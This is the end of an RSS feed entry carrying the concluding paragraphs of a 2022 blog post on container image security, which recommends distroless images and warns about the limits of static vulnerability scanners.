&lt;p&gt;My experience after assisting many organisations on this subject matter is that distroless images are still largely unknown, despite Google’s push to popularise them. In almost all cases, container images based on full Linux distributions (sometimes referred to as distrofull) can be replaced with distroless alternatives, without even changing the dev team’s workflow once the changes are implemented. The only exception might be if the team already uses a deployment pipeline that is part of some kind of framework, which generates distrofull images without the possibility to modify that aspect easily. In that case, modifying the framework’s built-in pipeline is always a possibility, but usually requires an investment that not all companies are willing to make.&lt;/p&gt;

&lt;h2 id=&quot;concluding-remarks&quot;&gt;Concluding remarks&lt;/h2&gt;
&lt;p&gt;Despite the growing popularity and excitement around the technology, software containers are still a misunderstood beast in many ways. Developers always seem so surprised when mentioning the existence of distroless images, or pointing out some of the pitfalls that come along with “container scanners”.&lt;/p&gt;

&lt;p&gt;Hopefully, this blog post will help raising awareness about those pitfalls, while providing a better understanding of the inner working and actual capabilities of most static vulnerability scanners for container images.&lt;/p&gt;

&lt;p&gt;Based on previous experience, approaches combining the use of distroless images and a well-understood image scanner have proven to be efficient strategies for managing vulnerabilities in container images. I hope this contribution will help companies understand the importance of an appropriate use of static vulnerability scanners for container images, and avoid common pitfalls that too often provide a false sense of security in deployment pipelines.&lt;/p&gt;
</description>
          <pubDate>2022-10-12T00:00:00+00:00</pubDate>
          <link>https://www.emiliensocchi.io/managing-vulnerabilities-in-software-containers-how-to-avoid-common-pitfalls/</link>
          <guid isPermaLink="true">https://www.emiliensocchi.io/managing-vulnerabilities-in-software-containers-how-to-avoid-common-pitfalls/</guid>
        </item>
      
    
  </channel>
</rss>
